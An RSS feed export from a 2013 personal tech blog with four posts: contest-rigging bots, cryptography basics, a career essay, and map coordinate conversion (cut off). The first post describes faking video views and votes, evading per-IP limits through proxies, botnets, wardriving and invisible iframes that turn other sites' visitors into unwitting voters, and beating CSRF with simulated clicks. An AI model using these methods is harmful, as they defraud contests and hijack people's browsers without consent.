<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>cranklin.com</title>
	<atom:link href="http://cranklin.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://cranklin.wordpress.com</link>
	<description>Chiba City hacks</description>
	<lastBuildDate>Wed, 19 Jun 2013 14:27:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='cranklin.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/6fe2607591656486296befde65e8b81c?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>cranklin.com</title>
		<link>http://cranklin.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://cranklin.wordpress.com/osd.xml" title="cranklin.com" />
	<atom:link rel='hub' href='http://cranklin.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Bots Rule The World</title>
		<link>http://cranklin.wordpress.com/2013/06/19/bots-rule-the-world/</link>
		<comments>http://cranklin.wordpress.com/2013/06/19/bots-rule-the-world/#comments</comments>
		<pubDate>Wed, 19 Jun 2013 12:21:07 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[bots]]></category>
		<category><![CDATA[cheating]]></category>
		<category><![CDATA[contests]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[IP]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[spoof]]></category>
		<category><![CDATA[voting]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=1116</guid>
		<description><![CDATA[I&#8217;ve been offered generous pay to artificially increase the views on youtube videos to which I replied, &#8220;no thanks&#8221;. When my friend entered an online contest that involved a video submission, I happily agreed to help him out by &#8220;boosting&#8221; his view count without any compensation. Why? Because I felt like it. ***** Full Disclaimer [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=1116&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been offered generous pay to artificially increase the views on youtube videos to which I replied, &#8220;no thanks&#8221;.  <br />When my friend entered an online contest that involved a video submission, I happily agreed to help him out by &#8220;boosting&#8221; his view count without any compensation.  Why?  Because I felt like it.  </p>
<p>***** Full Disclaimer *****<br />
I have never broken the law using my software.  My bots have never been used for profit or self gain.  This is purely educational and I denounce anybody that abuses this information to break the law.</p>
<h3>Building the Video Views Bot</h3>
<p>As a software engineer, part of your job is to be confident enough to build things you&#8217;ve never built before or solve problems you don&#8217;t yet know the answer to.  This bot is no different.  I have never &#8220;tricked&#8221; a youtube-like site into more views, but how difficult could it be?  As long as I build a bot that behaves exactly like a human on a browser (but faster), it should be easy.</p>
<p>First, I viewed a full video on said video hosting site while logging packets.  You can also use firebug which makes it easier.  Then I inspected each of the packets.  I don&#8217;t know what purpose some of these packets serve, but I decided it&#8217;s best to assume each of these are important.  I kept a close eye for identifiers that are unique per pageload and strings of numbers that look like a timestamp of some sort.  If the timestamp reveals that the user finished watching a 10 minute video in a split second, foul play might be suspected.  When making the bot, I simply took every GET and POST request and simulated these actions using the curl library.  For each of the requests that contained timestamps, I replaced the timestamp with a true timestamp, but padded with the time difference found in the original packet&#8217;s timestamp.  This may be overkill and to make this work it may actually be much simpler, but I was thorough to be sure I wasn&#8217;t missing any crucial elements.<br />
Coupled with the random browser agent generator I&#8217;ve made before, this bot is good to go.<br />Remember that most view counters will impose a limit per IP (usually higher than 1 since several computers can share the same WAN IP).  Finding this upper bound is your job.  I&#8217;ll talk more on circumventing this limitation later.  Either way, just know I was able to feed it false video views like I was feeding chocolate cake to a fat kid.</p>
<p><img src="http://www.cranklin.com/botsrule/botsrule1.png" /></p>
<h3>Building the Vote Bot</h3>
<p>The second part of this online contest (which shall remain unidentified) required actual user submitted votes.  Each voter would have to enter their email address, then cast a vote.  The voter is limited to one vote per 24 hour period.  I began testing the site like I would any other; I captured packets.  One thing I noticed was that the form buttons were not posting to an action page, rather triggering a jquery method.  I found a javascript file that was being imported in the header called &#8220;main.js&#8221;.  When I took a look at it, included all the voting methods.  I discovered that everytime one submits a vote, an ajax request is called to validate the email address and check to see if that email address has voted once in the past 24 hours.</p>
<pre>
<code>
    function  validateVote()
    {
        $.ajax({
            url: '/api/set_vote/'+ encodeURIComponent($('#email').val())+'/'+ $('#candidate').val(),
            type: 'GET',
            dataType: 'html',
            success: function(data, textStatus, xhr) {
                $('#step1').hide();
                $('#step2').hide();
                $('#step3').fadeIn();
                $('#step4').hide();
            },
            error: function(xhr, textStatus, errorThrown) {
                console.log(errorThrown);
            }
        });
    }
</code>
</pre>
<p>It returns a boolean value; if the value is set to true, it makes yet another ajax request to submit the actual vote.</p>
<pre>
<code>
    function  submitVote()
    {
        var error = "";
        var email = $('#email').val();

        if( !validateEmail(email) )
            error = "INVALID EMAIL ADDRESS";

        if( !$("#conditions").is(':checked') )
        {
            error = "YOU MUST ACCEPT TERMS AND CONDITIONS";
        }

        if( !$("#policy").is(':checked') )
        {
            error = "YOU MUST ACCEPT PRIVACY POLICY";
        }

        if( !error )
        {
            $('#error').html("");

            $.ajax({
                url: '/api/check_email/'+ encodeURIComponent($('#email').val()),
                type: 'GET',
                dataType: 'html',
                success: function(data, textStatus, xhr) {
                    if( parseInt(data)==0 )
                    {
                        $('#step1').hide();
                        $('#step2 .voted').hide();
                        $('#step2 #vote_'+$('#candidate').val()).show();
                        $('#step2').fadeIn();
                        $('#step3').hide();
                        $('#step4').hide();
                    }
                    else
                    {
                        $('#step1').hide();
                        $('#step2').hide();
                        $('#step3').hide();
                        $('#usedemail').html($('#email').val());
                        $('#usedhours').html( Math.ceil((parseInt(data)/3600)) );
                        $('#step4').fadeIn();
                    }
                },
                error: function(xhr, textStatus, errorThrown) {
                    console.log(errorThrown);
                }
            });

        }
        else{
            $('#error').html(error);
        }
    }
</code>
</pre>
<p>Now that&#8217;s just stupid. <br />
Since the ajax request is made to an &#8220;api.php&#8221;, I decided to test that out.  I called this file while purposely denying it of any expected parameters and it returned a really bad error message&#8230; straight from their MySQL to my web browser.  </p>
<pre>
<code>
A PHP Error was encountered

Severity: Warning

Message: Missing argument 2 for Api::set_vote()

Filename: controllers/api.php

Line Number: 117
A PHP Error was encountered

Severity: Notice

Message: Undefined variable: candidate

Filename: controllers/api.php

Line Number: 127
A Database Error Occurred

Error Number: 1048

Column 'vote_value' cannot be null

INSERT INTO `vote` (`vote_email`, `vote_ip`, `vote_value`, `vote_date`, `vote_shared`, `vote_fbid`) VALUES ('mike@gmail.com', '10.10.10.10', NULL, '2013-06-03 06:42:29', '', '0')

Filename: /var/www/microsite/[removed]/models/vote.php

Line Number: 63
</code>
</pre>
<p>
Programmers, please don&#8217;t do this.  I understand that many programmers are not sysadmins and vice versa, but it doesn&#8217;t take much to edit that php.ini and change the error reporting value to something less revealing.  By looking at this, I was able to see exactly which bits and pieces of data they were collecting.  To top it off, each vote is submitted via an HTTP GET request.  Look, I understand if you don&#8217;t follow all of the HTTP protocol and use DELETE or PUT, but GET for votes?  Your browser is sending your email address as part of the URI.  Come on!  <br />
So I was able to craft up a voting bot really quick.  I used it to submit a couple hundred votes and noticed it limited me to 50.  There were no cookies, I used my unique browser agent generator, and it still limited me to 50.  I knew right away it was an IP limitation.  </p>
<h3>Circumventing IP Limitations</h3>
<p>One cannot simply &#8220;spoof&#8221; their source IP because the IP info is too deep in the TCP layer and it would break the three-way handshake.  You can go about this a few ways:<br />
1) Use proxies<br />
2) Utilize a botnet (if you have access to one). <br />
3) Drive around town with your laptop and wardrive open wifi networks.<br />
4) Launch a bunch of instances on the Amazon EC2 and use IPs from their pool.</p>
<p>*yoda voice* <em>No. There is another&#8230;.</em><br />
Yes, I figured out another way to utilize more IPs.  Since this lame online contest used GET requests, I was able to write a small PHP snippet that generated random emails and launch N number of invisible iframes that automatically pull up the magic URI.  By embedding this small snippet of PHP code into another website (preferably with a decent amount of traffic), I have managed to crowdsource the votes.<br />I call these bots &#8220;crowdsource bots&#8221;.<br />I&#8217;m not saying this is ethical, but it&#8217;s not illegal either&#8230; just frowned upon.  Even if the contest voting submitted POST requests (like it should), I could still use this method (with an additional step of course).  CSRF protections prevent automatic cross-domain POST requests, but you can overcome this by simulating a human mouse click via javascript.</p>
<p>In the end, it was super easy getting my candidate to gain the most views and the most votes. However, the human element (the powers that be) dictated that my candidate did not win.</p>
<p>I&#8217;m not saying bots are superior to humans; they are not.  Nevertheless, bots rule the world.  They perform human tasks infinitely quicker and more efficient.  Isn&#8217;t that what software is all about &#8211; speed and efficiency?  Those that take advantage of bots come out on top.  My friend Eric Kim introduced me to the world of financial trading.  He forwards me articles about high frequency trading and how bots control the market.  (This is an area I would like to explore in the future).  If we engage in cyber warfare, guess who&#8217;s on the front line?  Bots.  Arguably, I think most of our simpleton, overpaid politicians can be replaced by bots.  We can replace our entire executive branch and congress with bots.<br /> senator1.py, senator2.py, houserep1.py, houserep2.py, president.sh, vicepresident.bat<br />
These bots would not fall under temptation.  They would be fair.  They would not engage in scandals.  They would not play partisan politics.  They would not spend wastefully.  They would save taxpayers a LOT of money.  </p>
<p>Just saying&#8230;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/1116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/1116/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=1116&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2013/06/19/bots-rule-the-world/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/botsrule/botsrule1.png" medium="image" />
	</item>
		<item>
		<title>Why Your Website Is Insecure &#8211; Cryptosystem Basics</title>
		<link>http://cranklin.wordpress.com/2013/05/23/why-your-website-is-insecure-cryptosystem-basics/</link>
		<comments>http://cranklin.wordpress.com/2013/05/23/why-your-website-is-insecure-cryptosystem-basics/#comments</comments>
		<pubDate>Fri, 24 May 2013 01:11:40 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[bcrypt]]></category>
		<category><![CDATA[blowfish]]></category>
		<category><![CDATA[cipher]]></category>
		<category><![CDATA[credit cards]]></category>
		<category><![CDATA[cryptosystem]]></category>
		<category><![CDATA[cryptosystems]]></category>
		<category><![CDATA[decipher]]></category>
		<category><![CDATA[decryption]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[online]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[rainbow]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tables]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=1091</guid>
		<description><![CDATA[We have witnessed lots of new websites and mobile apps sprouting out of this tech bubble; many of which are built by inexperienced developers or developed in a hurry by the impatient entrepreneur. Consequently, we hear too frequently that some website was hacked or that a server holding sensitive data was compromised. Most of us [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=1091&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><img src="http://www.cranklin.com/cryptosystem/padlock.jpg" width="500px" /><br />
We have witnessed lots of new websites and mobile apps sprouting out of this tech bubble; many of which are built by inexperienced developers or developed in a hurry by the impatient entrepreneur.  Consequently, we hear too frequently that some website was hacked or that a server holding sensitive data was compromised.  Most of us brush it off with a <em>&#8220;Whew!  It didn&#8217;t happen to me.&#8221;</em>  Well, how many websites or services have you joined?  How many of these sites/services share the same password?  I&#8217;m pretty sure you don&#8217;t have a unique password for each site or service you signed up for.  How many of these dot coms store your personal information?  It should be a concern.  This is why I&#8217;m hesitant to register for that trendy new silicon valley startup dot com; I cringe at the lack of security practices employed by many developers.  The negligence is almost criminal.  Displaying a GoDaddy secure logo or McAfee secure seal doesn&#8217;t mean crap.  This false sense of security stems from the fact that the site complies with some arbitrary checklist of common exploits (eg. XSS, SQL injection).   </p>
<p>I don&#8217;t claim to be an expert in security, but allow me to share some cryptosystem basics with you.</p>
<h2>Passwords</h2>
<p>This is where you use a cryptographic hash function to encrypt (or hash, rather) your passwords.  Hash functions go one way&#8230; meaning once you encrypt your password, your password cannot be &#8220;decrypted&#8221; back into plain text.  <code>Enc(Plaintext)-&gt;Cipher</code>  exists, nevertheless <code>Dec(Cipher)-&gt;Plaintext</code> does not.  When a user logs in, hash the entered password and compare the new hash with the old hash that you have stored.<br /> <br />
However, there is a problem.  Running <code>php -r "echo md5('password');" returns 5f4dcc3b5aa765d61d8327deb882cf99</code>.  I can run it 100 times and it will always return that value.  I now know that a hash of 5f4dcc3b5aa765d61d8327deb882cf99 means the plain text version of the password is &#8220;password&#8221;.  With a few lines of code, I can create a script that brute forces a md5 hash of every alphanumeric combination and store each of those hashes in a table. This is also known as a &#8220;rainbow table&#8221;.  A rainbow table makes it very easy to reverse lookup a hash and return the unhashed text.  So by storing &#8220;5f4dcc3b5aa765d61d8327deb882cf99&#8243; in your rainbow table, next time you run across that hexadecimal, you now know it equates to the plain text &#8220;password&#8221;. To protect against rainbow table attacks, use a salt.  What is a salt?  <code>md5("thisisasalt"."password")</code> That is a salt.  It&#8217;s an arbitrarily long string that is prepended to the password before it is hashed.  <br />
MD5 isn&#8217;t known to be a secure cryptographic hash function and is not recommended.  I have heard of hackers utilizing cloud computing to unhash MD5 passwords in a matter of seconds.  Instead, use Bcrypt.  Not only does Bcrypt implement a salt, you can increase the iterations to make it slower by (2^n).  In other words, it adapts to the times and makes it very difficult to brute force despite the increase in processing power.  But no matter what, always enforce long alphanumeric passwords that aren&#8217;t in the dictionary.  This will make your password very difficult to brute force.  </p>
<h2>Sensitive Data (transport)</h2>
<p>Do you recall middle school?  Imagine you are in a classroom and you want to pass a sensitive letter to your friend sitting across the room.  What can you do to ensure that only your friend can read the message?  This is similar to entering credit card information to make an online purchase.  I&#8217;ve demonstrated how easy man-in-the-middle attacks are in previous blog posts and we want to prevent anybody but the recipient from reading our message.  If you encrypt the message with a symmetric cryptographic function, sure your recipient will be able to decrypt the message but at some point, it would have been necessary for you to agree upon a key.</p>
<p><code>encrypt(message,key)-&gt;ciphertext<br />
decrypt(ciphertext,key)-&gt;message</code></p>
<p>Passing a note with an encrypted message along with the key is not safe for obvious reasons.  This is where &#8220;asymmetric cryptographic functions&#8221; are useful&#8230;. or Public-key encryption.  When you log onto a banking website or an ecommerce site, your browser SHOULD always display a lock icon to let you know that public-key encryption has been enabled.  How does public key encryption work?  Each party has 2 keys: A private key and a public key.  The public key can only encrypt and the private key can only decrypt.  You allow everybody access to your public key but NOBODY should be able to access the private key except yourself.  Let&#8217;s say the names of the two friends are Alice and Bob.  Each has a public key and a private key.  It would go something like this.  Alice passes her public key to Bob.  Bob encrypts his message with Alice&#8217;s public key. <code>Encrypt("message", Alice's public key) -&gt; cipher</code>.  Bob has now generated a cipher which only Alice can decipher.  Bob passes the cipher to Alice.  Alice decrypts the message with her own private key.  <code>Decrypt(cipher, Alice's private key) -&gt; message</code>!  This is how public key encryption works.  Here is an interesting fact: The security surrounding today&#8217;s most commonly used public key encryption is based on the difficulty of factoring the product of two very large prime numbers.  What???  Yes.  Think about how hard it is to factor the product of two large prime numbers.  There is no easy systematic approach.  Now you know why engineers and mathematicians go nuts over the discovery of insanely large prime numbers!</p>
<h2>Sensitive Data (storage)</h2>
<p>I remember reading an announcement from a hacker group called &#8220;antisec&#8221; bragging about breaking into the specialforces.com website and stealing passwords and credit card information.  They mentioned that the information was encrypted using Blowfish encryption (which is a very strong symmetric cryptosystem).<br />
<code>BFencrypt(message,key) -&gt; cipher<br />
BFdecrypt(cipher,key) -&gt; message</code><br />  Now, I can guarantee that they didn&#8217;t &#8220;crack&#8221; the cryptosystem or find a flaw in the encryption algorithm.  No, they found the key which was apparently lurking in the system as well.  I don&#8217;t think I need to explain the stupidity of that.  I mean, you can buy a brand spanking new, state of the art LOCK for your door, but if you leave the key in the lock, it&#8217;s pretty useless.  It&#8217;s like having an unbreakable combination lock that has a sticker on the clasp with the combination written on it.<br /><img src="http://www.cranklin.com/cryptosystem/combolock2.jpg" /><br />  Your lock is only as good as the key (or where you store the key).  If you&#8217;re storing your customers&#8217; sensitive information, 1) pick a strong symmetric cryptosystem.  2) select a key that is unique to each user, and 3) do NOT store the key in your database or within your codebase. <br />
Personally, I accomplish this by encrypting their data with their plaintext password or hashed password as the key (using any type of hash besides bcrypt hash).  Since the password is not stored in my DB in plaintext (or decipherable ciphers) and the key is unique per customer, it would be virtually impossible to retrieve the password therefore virtually impossible to decipher the sensitive data.  When the customer is on the site and must access this information, all I need to do is re-prompt the customer for his/her password and use that string to decrypt the respective data.  Following me?  </p>
<p>DB contains <code>Bcrypt(password)</code> and <code>BFencrypt(message,password)</code> or <br /><code>BFencrypt(message,someotherhash(password))</code>.  </p>
<p>Developers and CEOs, please take these precautions.  Security should always be first.  Your users trust you to hold their data, therefore YOU are responsible.  Obfuscation is NOT security.  <br />If and when some genius proves (or disproves) the Riemann hypothesis and then discovers a non-brute-force method of finding prime numbers, the entire world&#8217;s security will be at risk and I shall update this post.  Until then, stay safe.  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/1091/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/1091/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=1091&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2013/05/23/why-your-website-is-insecure-cryptosystem-basics/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/cryptosystem/padlock.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/cryptosystem/combolock2.jpg" medium="image" />
	</item>
		<item>
		<title>Engineers, Stay Agile</title>
		<link>http://cranklin.wordpress.com/2013/04/04/engineers-stay-agile/</link>
		<comments>http://cranklin.wordpress.com/2013/04/04/engineers-stay-agile/#comments</comments>
		<pubDate>Fri, 05 Apr 2013 01:38:57 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[burnout]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[engineer]]></category>
		<category><![CDATA[engineers]]></category>
		<category><![CDATA[entrepreneur]]></category>
		<category><![CDATA[programmer]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[startups]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=986</guid>
		<description><![CDATA[Engineers, stay agile. I became a software engineer for many reasons. I love to code. I love to create. I love solving puzzles. I love exploring different technologies. I love the rewards. I chase the knowledge. I desire to make a difference. Chances are, you do too. You may have become a programmer for the [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=986&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Engineers, stay agile. <br />
I became a software engineer for many reasons.  I love to code.  I love to create.  I love solving puzzles.  I love exploring different technologies.  I love the rewards.  I chase the knowledge.  I desire to make a difference.<br />
Chances are, you do too.<br />
You may have become a programmer for the very same reasons I did.  But allow me to raise a few questions:  <br />
<em>Are you really doing what you love?  Are you being challenged mentally?  Are you chasing the knowledge?  Are you truly on your way to making a difference?</em><br />
If your honest answer is &#8220;yes&#8221;, I am happy for you.  For everyone else, you are not alone.</p>
<h2>Doing what you love: code, create, solve problems, explore different technologies</h2>
<p>As a software architect, most job opportunities come with a verbal promise of &#8220;freedom to build the product the way you want to do it&#8221;.  Additionally, there will be &#8220;many opportunities to explore different technologies as the business expands into this and that&#8221;.  <br />The latter is utter BS.  The first is a catch-22 type BS.  Isn&#8217;t it funny how even the CEO knows that the engineer&#8217;s dream job is doing R&amp;D and will try to make his/her company appear like one?<br />
Look. I appreciate the &#8220;freedom&#8221;, but let&#8217;s be real.  I&#8217;m not hired to build the product in that functional programming language I am dying to try out.  No.  I&#8217;m being hired to build it with the technologies I&#8217;m most experienced with (and consequently, bored to death of).  And IF the company is fortunate enough to &#8220;expand&#8221;, they will want me to stay right where I am &#8220;manning the station&#8221; THEY feel most comfortable with.  After all, the goal is to build a well-oiled machine while the engineers (and other employees) act like the hamsters spinning the wheels.    Before you know it, you&#8217;ve spent a good chunk of your life learning nothing and being a tool.</p>
<h2>Challenging yourself mentally</h2>
<p>Let&#8217;s face it.  We all interpret &#8220;challenging&#8221; differently.  For an engineer, a challenge would be to figure out how to improve an algorithm&#8217;s efficiency by an order of magnitude.  A challenge would be to figure out how to scale your architecture to handle enterprise level traffic without going over budget.  A challenge would be to write software that can analyze images for an autonomous vehicle.<br />
Your employer on the other hand, thinks you&#8217;re being challenged because you are given a deadline of 4 weeks to build a social networking site.  They think you&#8217;re being challenged because you are expected to work 16 hours a day / 7 days a week.  </p>
<h2>Chasing the knowledge</h2>
<p>You are a curious individual.  I know you love to learn new things.  So when did you last pick up something new?  What was the last book you read?  Does your job give you time to study and read?  Know this.  As engineers, if you don&#8217;t keep up with the latest technological trends, your value diminishes.  Staying stagnant is the same as moving backwards.  Do you know any Pascal or VB6 programmers?  Lotus 1-2-3, Quattro Pro, WordPerfect experts?  Coldfusion developers?  Corel Draw designers?  I can brag about being able to redefine your keyboard while performing a dedicated print over a BBS chat room if you load ansi.sys in your config.sys&#8230; but who cares?  It&#8217;s irrelevant now.  Yeah.  Unless you do something about it, you too will expire.</p>
<h2>Making a difference</h2>
<p>You&#8217;re probably working on something cool.  There may be similar products out there but they lack this feature and that feature, right?  You&#8217;ve perfected your 30 second elevator pitch in case somebody asks you what you&#8217;re working on and you generally receive positive feedback.  But is your contribution to this product really going to make a difference in this world?  While on your deathbed, will you look back and be proud of this thing you built?  Or is it just another gimmicky website or iphone app that will likely lose its value in a couple years? </p>
<h2>Staying agile&#8230;</h2>
<p>I understand you need to make a living, but I don&#8217;t think any job is worth sacrificing your own growth.  I am a workhorse.  I have spoiled my employers by pulling the weight of several engineers while being underpaid.  I have spoiled my employers by working nights and weekends and forfeiting vacations (while they traveled the world).  I have spoiled my employers by taking ownership of my work even though I own nothing but a few insulting stock options.  Don&#8217;t fall victim to the smooth talking businessman/woman who entices you to make his/her ideas come to life while your own life&#8217;s priorities take a back seat.  They have glorified the workaholic engineering lifestyle&#8230; the redbulls and hackathons&#8230;  <br />
Ha!  Screw hackathons.  We don&#8217;t throw business people into a little room and reward them with redbulls and T-shirts while they stay up all weekend to make money for us.</p>
<p>Listen. I love working on startups and I&#8217;m sure you do too. But get one thing straight: If you&#8217;re not the owner of your company, you have a job.  Treat it as such.  Meanwhile, invest some time into your own life and maintain your worth.  Stay agile.<br />Lateral career movements are sometimes the only way for you to better yourself and keep your work from turning stale.<br />
I prefer sabbaticals.  During my occasional sabbaticals, I disappear from the workforce and read books, learn new things, build pet projects, etc. <br />&#8230; and I <b>always</b> return stronger.  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/986/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/986/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=986&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2013/04/04/engineers-stay-agile/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>
	</item>
		<item>
		<title>Converting Geographical Coordinates to Cartesian Coordinates</title>
		<link>http://cranklin.wordpress.com/2013/03/21/converting-geographical-coordinates-to-cartesian-coordinates/</link>
		<comments>http://cranklin.wordpress.com/2013/03/21/converting-geographical-coordinates-to-cartesian-coordinates/#comments</comments>
		<pubDate>Thu, 21 Mar 2013 13:10:27 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[cartesian]]></category>
		<category><![CDATA[conversion]]></category>
		<category><![CDATA[earthisamemory]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[gd]]></category>
		<category><![CDATA[geocode]]></category>
		<category><![CDATA[geocoding maps]]></category>
		<category><![CDATA[geocoordinates]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[mapping]]></category>
		<category><![CDATA[maps]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[oblivion]]></category>
		<category><![CDATA[oblivionmemory]]></category>
		<category><![CDATA[oblivionmovie]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tomcruise]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=985</guid>
		<description><![CDATA[I was working on an interesting short term project through Project C for an upcoming movie called Oblivion. How it works: Basically, users contribute their favorite memories of Earth via Twitter and/or Instagram hashtagged with #oblivionmemory. If the tweet or photo includes your geolocation, it is automatically placed on a global map. The map at [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=985&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I was working on an interesting short term project through <a href="http://www.projectc.net" target="_blank">Project C</a> for an upcoming movie called <a href="http://www.oblivionmovie.com" target="_blank"><em>Oblivion</em></a>.  </p>
<p>How it works:<br />
Basically, users contribute their favorite memories of Earth via Twitter and/or Instagram hashtagged with #oblivionmemory.  If the tweet or photo includes your geolocation, it is automatically placed on a global map.  The map at first glance appears cold, dark and desolate, but as user contributions are added, it begins to brighten, state by state, country by country.  At the end of the campaign, the map will have transformed into a bright beautiful landscape of the world, as if these precious memories have revived the Earth back to life from Oblivion. (as Matthew Jordan so delicately explains)</p>
<p><img src="http://www.cranklin.com/earthisamemory/worldmap.png" width="700px" /></p>
<p><img src="http://www.cranklin.com/earthisamemory/namap.png" width="700px" /></p>
<p>This sounds simple enough but it presents a couple challenges.  First, after aggregating tweets and photos, how does one convert those geocodes to cartesian coordinates?  How do you take the longitude / latitude pairs and find the corresponding pixel on a given map?<br />
In the programming world, given a particular viewport, the origin usually starts in the upper left corner while the x and y values increase as you move towards the bottom right.  For this reason, I don&#8217;t like the fact that people still call it &#8220;cartesian coordinates&#8221;.  I&#8217;m not a mathematician but technically speaking, the correct terminology should be &#8220;the absolute value of quadrant IV in the cartesian coordinate system&#8221;.  Would it not?  Anyhow, I&#8217;ve accomplished this conversion by performing a few steps:<br />
1) Find the top left and bottom right corners (in pixels) on the map.<br />
2) Find the corresponding geographical coordinates for each of these points.<br />
3) Adjust the longitudes and latitudes (separately) so that their origin is also placed in the upper left corner (using only addition/subtraction and absolute value math).<br />
4) Represent max and min values for both longitude and x values in slope intercept form (y=mx+b)<br />
5) Solve for m and b<br />
6) Repeat steps 4 and 5 for latitude and y values.</p>
<p>Now that I have m and b (slope and y-intercept) for longitude (x) and latitude (y), all I have to do is plug any longitude and latitude into their respective formulas and it will yield the corresponding x and y values.</p>
<p><img src="http://www.cranklin.com/earthisamemory/math.jpg" width="600px" /></p>
